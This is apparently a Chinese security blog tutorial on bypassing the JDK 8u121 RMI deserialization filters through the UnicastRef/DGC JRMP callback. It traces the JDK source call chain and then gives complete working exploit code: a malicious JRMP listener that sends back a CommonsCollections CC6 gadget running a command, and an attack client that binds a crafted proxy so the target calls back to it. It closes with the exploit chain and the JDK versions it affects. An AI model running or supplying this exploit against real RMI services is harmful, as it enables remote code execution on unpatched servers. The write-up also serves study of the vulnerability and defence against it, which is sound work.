java安全-RMI高版本绕过

环境JDK8u121

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
oracle_jdk8u121
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

openjdk_jdk8u121
https://github.com/openjdk/jdk8u/releases/tag/jdk8u121-b13
jdk8u-jdk8u121-b13.zip\jdk8u-jdk8u121-b13\jdk\src\share\classes\
解压src.zip放入
oracle_JDKs\JDK8u121\src

commons-collections依旧
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

一、RMI高版本防护

jdk8u121版本,java官方对

sun/rmi/registry/RegistryImpl#registryFilter

sun/rmi/transport/DGCImpl#checkInput

这俩个类做出限制,利用白名单对反序列化时做出严格的过滤

1.RegistryImpl

image-20260221142522809

此方法调用流程

1.1、挂载点

RegistryImpl 构造时

1
2
3
4
5
6
7
8
// RegistryImpl 构造函数中
public RegistryImpl(int port, ...) {
...
// 关键:给 registry 专用的 server socket 设置过滤器
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref, RegistryImpl::registryFilter));
// ↑ 把 registryFilter 作为函数引用传入
}

1.2、UnicastServerRef 持有过滤器引用

1
2
3
4
5
6
7
8
9
10
// sun/rmi/server/UnicastServerRef.java
public class UnicastServerRef extends UnicastRef {
private final ObjectInputFilter filter; // 存储过滤器

public UnicastServerRef(LiveRef ref, ObjectInputFilter filter) {
super(ref);
this.filter = filter;
}
}

1.3、真正起作用:dispatch 处理请求时

当客户端连接进来,底层调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
客户端发送序列化数据

Transport.serviceCall() // 网络层接收

UnicastServerRef.dispatch() // 分发请求

UnicastServerRef.unmarshalCustomCallData()

MarshalInputStream (extends ObjectInputStream)
↓ ← 在这里设置 ObjectInputFilter!
setObjectInputFilter(filter) // 把 registryFilter 注入到 ObjectInputStream

ObjectInputStream.readObject() // 开始反序列化
↓ 每读取一个类描述符时回调
registryFilter(filterInfo) // 过滤器被回调检查每个类

REJECTED → 抛出 InvalidClassException,中断反序列化

1.4、底层 ObjectInputStream 的回调机制

这套机制基于 JDK 9 backport 到 8u121 的 JEP 290 序列化过滤框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// ObjectInputStream 内部(简化)
private Object readObject0(boolean unshared) {
...
// 读取类描述符后,立即触发过滤器
filterCheck(resolvedClass, arrayLength);
...
}

private void filterCheck(Class<?> clazz, int arrayLength) {
if (serialFilter != null) {
FilterInfo info = new FilterInfo(clazz, arrayLength, depth, ...);
ObjectInputFilter.Status status = serialFilter.checkInput(info);
if (status == REJECTED) {
throw new InvalidClassException("filter status: REJECTED");
// ↑ 直接中断,恶意类的 readObject 根本不会执行
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
客户端发送 bind(name, obj) 请求(含恶意序列化数据)

├─ Transport.serviceCall() 接收 TCP 数据

├─ UnicastServerRef.dispatch()
│ └─ marshalStream.setObjectInputFilter(RegistryImpl::registryFilter)
│ ← 把 registryFilter 注入到 MarshalInputStream(ObjectInputStream子类)

├─ ObjectInputStream.readObject()
│ ├─ readObject0() → readOrdinaryObject()
│ │ ├─ readClassDesc() ← 解析类描述符(此时类已被 resolve)
│ │ │
│ │ ├─ filterCheck(resolvedClass, -1) ← ★ 过滤发生在这里 ★
│ │ │ ├─ new FilterValues(clazz, -1, totalRefs, depth, bytesRead)
│ │ │ ├─ registryFilter.checkInput(filterValues)
│ │ │ │ ├─ clazz == CommonsCollections.InvokerTransformer ?
│ │ │ │ └─ → REJECTED
│ │ │ └─ throw InvalidClassException("filter status: REJECTED")
│ │ │
│ │ └─ × 永远到不了这里 × desc.newInstance() / readObject()
│ │
│ └─ 异常向上传播

└─ 客户端收到 RemoteException,攻击失败

2.DGCImpl

image-20260221142618171

先定义方法,然后在静态代码块构造的时候传递

image-20260221152701003

接下来的流程和之前一样

3.客户端-注册中心未防护

这个在jdk8u121中未进行防护

注册中心客户端侧:RegistryImpl_Stub

客户端调用 registry.lookup("xxx") 时,走的是 RegistryImpl_Stub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// sun/rmi/registry/RegistryImpl_Stub.java
public Remote lookup(String name) throws ... {
...
// 发送请求
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject(name);

// 接收响应
call.executeCall();
//这里的jrmp也没有防护

// 反序列化服务端返回的 stub 对象
try {
java.io.ObjectInput in = call.getInputStream();
retval = (Remote) in.readObject(); // ← 这里
// ↑ 8u121 中没有过滤器!
}
...
}

8u121 的 RegistryImpl_Stub 客户端侧没有加过滤器,这意味着:

1
2
3
4
5
受害者客户端
↓ lookup("xxx")
恶意注册中心服务端
↓ 返回恶意序列化对象(不是合法的 stub)
受害者客户端 readObject() → RCE

这个攻击路径在 8u121 依然有效,就是大名鼎鼎的 “恶意 RMI 注册中心 → 攻击客户端”

image-20260221154749618

可以验证一手,这里因为时jdk8u121,所以用的CC6

二、绕过

sun/rmi/server/UnicastRef.java

image-20260221155144500

UnicastRef这个类会调用executeCall方法,所以尝试让服务端去调用这个方法,然后配合我们的JRMP攻击拿下

1.入口逻辑

将传入的白名单类UnicastRef反序列化

sun/rmi/server/UnicastRef.java

image-20260221203757518
1
2
3
4
5
6
7
// sun/rmi/server/UnicastRef.java
public void readExternal(ObjectInput in)
throws IOException, ClassNotFoundException {
// 读取 LiveRef(包含 host、port、ObjID)
ref = LiveRef.read(in, false);
// ↑ 这一步完成后,ref 就包含了攻击者的 IP:Port
}

这个方法也叫做UnicastRefreadObject方法

sun/rmi/transport/LiveRef.java

image-20260221213939551

这里执行了stream.saveRef(ref);

image-20260221214133646

然后将将其返回, UnicastRef 反序列化结束

2.bind方法妙用

然后就是调用 bind 方法,走入

D:\security\JDKs-cyber\oracle_JDKs\JDK8u121\jre\lib\rt.jar!\sun\rmi\registry\RegistryImpl_Skel.class

image-20260221215007668

接着sun/rmi/transport/StreamRemoteCall.java

image-20260221215136578

sun/rmi/transport/ConnectionInputStream.java

image-20260221215228385

这里便是判断我们之前的 incomingRefTable 是否为空,如果是别的类反序列化,不是 UnicastRef 的话,这里就不会赋值,也就不会发生之后的逻辑

接着走sun/rmi/transport/DGCClient.java

image-20260221215625951

这里赋值,刚好用的是我们之前incomingRefTable中的键值对,然后调用DGCClient#registerRefs

image-20260221220018811

sun/rmi/transport/DGCClient.javalookup

image-20260221220122167

这个方法的逻辑本质上就是判断是否有键值对,如果没有就重新创建一个,这里就是创建的时候又出现问题

sun/rmi/transport/DGCClient&EndpointEntry

内部类构造方法如下

image-20260221220417851

这里创建的dgc

1
2
3
ip端口指向
127.0.0.1:1010
也就是我们最初构造的unicastserver

新线程的run方法会执行这个方法

image-20260221220644781

接着调用

image-20260221220706174

3.经典JRMP调用

这个方法会调用super.ref.invoke(var5);

image-20260221220852648

这个也就是我们的sun/rmi/server/UnicastRef.java

image-20260221221033854

会执行这个executeCall方法,也就是我们的JRMP攻击

三、poc

1.JRMP客户监控代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
package chuan.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.server.UID;
import java.util.HashMap;
import java.util.Map;

/**
* 极简版恶意 JRMP 服务端
* 逻辑:只监听端口 -> 识别 RMI 协议 -> 不管客户端发什么,直接扔个带毒的异常过去
*/
public class SimpleJRMPListener {

public static void main(String[] args) {
int port = 1010; // 默认 RMI 端口

try {
// 1. 本地生成准备投毒的 CC1 Payload 对象
Object payload = getCC6Payload("calc");

// 2. 启动 Socket 监听
ServerSocket ss = new ServerSocket(port);
System.out.println("[+] 恶意 JRMP 服务端已启动,正在监听端口 " + port + "...");

// 3. 死循环等待受害者(客户端)连接
while (true) {
Socket s = ss.accept();
System.out.println("[!] 接收到来自受害者的连接: " + s.getRemoteSocketAddress());

// 处理这次连接交互
handleConnection(s, payload);
}
} catch (Exception e) {
e.printStackTrace();
}
}

/**
* 处理底层的 JRMP 协议字节流交互
*/
private static void handleConnection(Socket s, Object payload) {
try {
DataInputStream in = new DataInputStream(s.getInputStream());
DataOutputStream out = new DataOutputStream(s.getOutputStream());

// ==========================================
// 阶段 1:RMI 握手 (Handshake)
// ==========================================
int magic = in.readInt(); // 读取前4个字节魔法数
short version = in.readShort();// 读取协议版本

// 校验魔法数是否为 0x4a524d49 (ASCII: JRMI)
if (magic != 0x4a524d49) {
System.out.println("[-] 不是合法的 JRMI 协议,断开连接。");
s.close();
return;
}

byte protocol = in.readByte(); // 读取协议类型
if (protocol == 0x4b) { // 0x4b 代表 StreamProtocol (基于流的协议)
// 服务端必须回复确认信号
out.writeByte(0x4e); // 0x4e 代表 ProtocolAck (协议确认)
out.writeUTF(s.getInetAddress().getHostAddress()); // 告诉客户端我的IP
out.writeInt(s.getPort()); // 告诉客户端我的端口
out.flush();

// 略过客户端随后发来的 Endpoint 标识信息
in.readUTF();
in.readInt();
}

// ==========================================
// 阶段 2 & 3:等待调用与恶意投毒 (Wait for Call & Exceptional Return)
// ==========================================
int op = in.readByte(); // 读取客户端的具体操作指令

if (op == 0x50) { // 0x50 代表 Call (客户端想要调用远程方法)
System.out.println("[*] 拦截到受害者的 Call 请求,准备投毒...");

// 【核心逻辑】:不要去解析客户端想调什么方法,直接开始装死报错!

out.writeByte(0x51); // 发送 0x51 (Return),告诉客户端我要返回结果了

// 必须使用 ObjectOutputStream 序列化对象
// 替换为这段模拟 RMI MarshalOutputStream 的代码
ObjectOutputStream oos = new ObjectOutputStream(out) {
/**
* RMI 规范要求在序列化每个类时,写入其 Codebase (类加载位置)
* 我们这里直接写入 null,告诉客户端:“本地找就行了,别去远程下”
*/
@Override
protected void annotateClass(Class<?> cl) throws IOException {
this.writeObject(null);
}

/**
* 针对动态代理类的特殊处理,同样写入 null
*/

protected void annotateProxyClass(Class<?>[] interfaces) throws IOException {
this.writeObject(null);
}
};

oos.writeByte(0x02); // 发送 0x02 (ExceptionalReturn),告诉客户端:“刚才执行报错了,这是一个异常对象”

new UID().write(oos); // 随便写入一个标准的 RMI UID 结构,凑齐协议格式

// 【封装炸弹】:实例化原生异常类,并通过反射把 payload 塞进 val 属性
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Field valField = ex.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(ex, payload); // 此时 payload(CC1链) 已经被包裹在异常中了

// 将带有恶意 Payload 的异常发给客户端!
oos.writeObject(ex);
oos.flush();
out.flush();

System.out.println("[+] 投毒完成!受害者如果存在反序列化漏洞,即将触发 RCE!\n");
}
s.close();
} catch (Exception e) {
System.out.println("[-] 连接处理异常断开。");
}
}

/**
* 原生生成 CC1 (TransformedMap 变种) Payload 的方法
*/
private static Object getCC6Payload(String command) throws Exception {
Class r = Runtime.class;
Transformer chaun0 = new ConstantTransformer(r);
Transformer chuan1 = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Transformer chuan2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Transformer chuan3= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] chuan = {chaun0,chuan1,chuan2,chuan3,new ConstantTransformer(1)};
Transformer[] chuan0000 = new Transformer[]{new ConstantTransformer(1)};

ChainedTransformer chuanTransformer = new ChainedTransformer(chuan0000);

HashMap map = new HashMap();
Map lazyMap = LazyMap.decorate(map,chuanTransformer);
TiedMapEntry foo = new TiedMapEntry(lazyMap, "aaa");
HashMap obj2 = new HashMap();
obj2.put(foo, "bar");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chuanTransformer, chuan);

map.remove("aaa");

return obj2;

}
}

2.客户端代码

1
2
3
4
5
6
7
8
9
10
11
12

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 实例化远程对象
RemoteObj remoteObj = new RemoteObjImpl();
// 创建注册中心
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定对象示例到注册中心
registry.bind("remoteObj", remoteObj);

}
}

3.客户端恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

public class JRMPAttackClient {
public static void main(String[] args) throws Exception {

// 连接受害服务器的注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

// 构造 JRMPClient payload
// 让服务器反序列化后,DGC 自动连回我们的 1010 端口
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1010); // ← 攻击者监听地址
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

RemoteObjectInvocationHandler handler =
new RemoteObjectInvocationHandler(ref);

// 包装成 Remote 代理对象
Remote payload = (Remote) Proxy.newProxyInstance(
JRMPAttackClient.class.getClassLoader(),
new Class[]{ Remote.class },
handler
);

// 通过 bind() 把恶意对象发给服务器
// 服务器反序列化这个对象时,DGC 自动触发 dirty() 连回 1010
try {
registry.bind("evil", payload);
} catch (Exception e) {
// 报错是正常的,我们不在乎 bind 结果
// 服务器已经反序列化了 payload,dirty() 已经触发
System.out.println("异常正常,payload 已发出: " + e.getMessage());
}
}
}

四、总结

1.利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
攻击者 registry.bind("evil", payload)

服务端 RegistryImpl_Skel.dispatch()

ObjectInputStream = ConnectionInputStream

LiveRef.read()
in instanceof ConnectionInputStream → true
stream.saveRef(ref) ← 先收集,不立刻触发

Skel 业务逻辑执行完毕

StreamRemoteCall.releaseInputStream() ← 清理资源时触发

ConnectionInputStream.registerRefs()
incomingRefTable 不为空 → 走下去

DGCClient.registerRefs()

EndpointEntry 构造方法
创建指向 127.0.0.1:1010 的 dgc stub
新线程 run()

makeDirtyCall()

UnicastRef.invoke() → executeCall()

ExceptionalReturn + CC6 Gadget

💥 RCE

checkInput 保护的是:

1
2
3
4
5
6
7
外部 → 服务器的 DGC 服务端入口  ✅

这次攻击走的是:
服务器的 DGC 客户端 → 外部 ❌
完全不受 checkInput 约束

服务器在这里角色反转,它是 DGC 客户端!

2.版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
版本              针对这条攻击链的实际效果
────────────────────────────────────────────────────────
8u121 之前 无任何防护,完全可打

8u121 只加了 DGC 服务端 checkInput
→ 防的是别人打服务端
→ 这条攻击走 DGC 客户端侧
→ 完全无效,照样可打

8u141 加了 Registry 服务端 registryFilter
→ bind() "限制本地"
→ 但先反序列化后检查,毫无意义
→ 完全无效,照样可打

8u231/8u232 仍然无效,照样可打

8u241 DGC 客户端侧终于加了过滤器
executeCall() 读响应时有了保护
→ 这条攻击链才真正被堵死
→ ❌ 打不了
────────────────────────────────────────────────────────

image-20260221224359455